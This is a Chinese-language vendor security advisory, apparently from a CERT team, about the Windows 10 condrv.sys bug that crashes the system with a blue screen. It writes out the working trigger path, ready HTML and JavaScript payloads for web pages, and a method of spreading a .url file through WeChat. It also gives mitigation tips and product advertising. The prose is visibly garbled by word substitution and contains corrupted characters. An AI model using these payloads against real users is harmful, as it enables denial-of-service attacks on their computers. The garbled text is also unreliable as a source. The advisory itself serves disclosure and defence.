您订阅的产品有更新,请实时查阅
审查详情
宣布时间:2021-01-25
克日,97国际网络CERT清静应急响应团队追踪到一则Windows 10 condrv.sys保存内存损坏误差的信息,该误差直接导致Win10系统蓝屏。该误差是由于Windows 10中condrv驱动设置过失导致的。 当Chrome 或Edge浏览器在翻开特定链接时,恰恰挪用了该驱动的响应函数,而IE没有挪用,因此IE不会受影响。另外,攻击者能够直接结构恶意代码直接挪用保存误差的函数,若是用户点击就会触发误差、导致蓝屏。
使用形式
会见链接\\.\globalroot\device\condrv\kernelconnect会触发蓝屏。
触发要领
用浏览器会见:
file://\\.\globalroot\device\condrv\kernelconnect
用一个快捷方法指向:
\\.\globalroot\device\condrv\kernelconnect
网页攻击:
例如a标签
<a href="file://\\.\globalroot\device\condrv\kernelconnect"></a>
<script>document.location = '\\\\.\\globalroot\\device\\condrv\\kernelconnect';</script>
以及JavaScript剧本。
微信群恶意用户撒播名为test.url文件,在微信开启自动下载功效后文件被吸收导致电脑即蓝屏
会见该文件夹即蓝屏(url文件会自动请求文件图标而加载\\.\gxxx
点击翻开即蓝屏,文件内默认URL为\\.\gxxx
电脑微信翻开即蓝屏,电脑微信默认使用了微信目今目录下wechatweb.exe文件对Web内容举行加载,而该exe焦点则是由QQ浏览器演变而来,而QQ浏览器内核又是接纳的chrome内核,以是微信端翻开即蓝屏
影响规模
现在受影响的操作系统版本:Windows 10.1709及以上系统
处置惩罚计划
官方修复建议
该误差目今暂无官方解决计划。
产品目今官方暂未宣布受影响版本的对应补丁,建议受影响的用户实时关注更新官方的清静补�。ㄊ凳备律兜阶钚掳姹荆�。链接如下:
https://www.microsoft.com/zh-cn/software-download/windows10
97国际网络修复建议
|
产品 |
说明 |
|
RG-WALL系列下一代防火墙 |
下一代防火墙团结防病毒以及威胁情报检测。在清静能力上,不但支持NAT、ACL、DDoS防御等古板清静功效,也支持富厚的应用级清静功效,包括病毒查杀、入侵检测、APP检测、文件过滤、恶意URL过滤等。提供多维度的应用层监控与剖析,资助用户掌握危害,精准预警。 |
|
RG-IDP系列入侵检测防御系统 |
是97国际网络推出的将深度内容检测、清静防护、上网行为管理等手艺团结的入侵检测防御系统装备。通过对网络中深层攻击行为举行准确的剖析判断,自动有用的�;ね缜寰�。配合实时更新的入侵攻击特征库,可检测防护3500种以上的网络攻击行为,包括DoS/DDoS、病毒、蠕虫、僵尸网络、木马、可疑代码、探测与扫描等种种网络威胁。 |
清静建议
不要翻开生疏网页,若是不须要建议榨取JavaScript。
不要翻开生疏程序,终端装置防护软件。
不要随意下载装置泉源不明的软件,避免有人恶意使用此误差造成拒绝服务攻击。
对不明泉源的邮件、office等提高小心。
小心不明泉源压缩文件,为了让受害者下载Windows快捷方法(.url)文件。攻击者会通过诱骗用户下载ZIP归档文件,并将恶意字符串隐藏其中;当用户解压ZIP文件时便会触发攻击。
实时备份主要文件,以免文件丧失。
团队先容
97国际网络CERT清静应急响应团队,跟踪最新互联网威胁事务,针对最新清静误差,APT攻击以及僵尸网络家族做实时跟踪和剖析;为产品、客户提供实时、有用的清静防护战略与解决计划。

97国际“网络+清静”主张将网络装备的清静能力充分验展,网络装备、清静装备与清静平台智能联动,离别清静孤岛,组成整网联动的清静包管系统,实现防护、清静展望、剖析和响应等清静问题自动化全流程闭环。

如您需要97国际清静,请留下您的联系方法
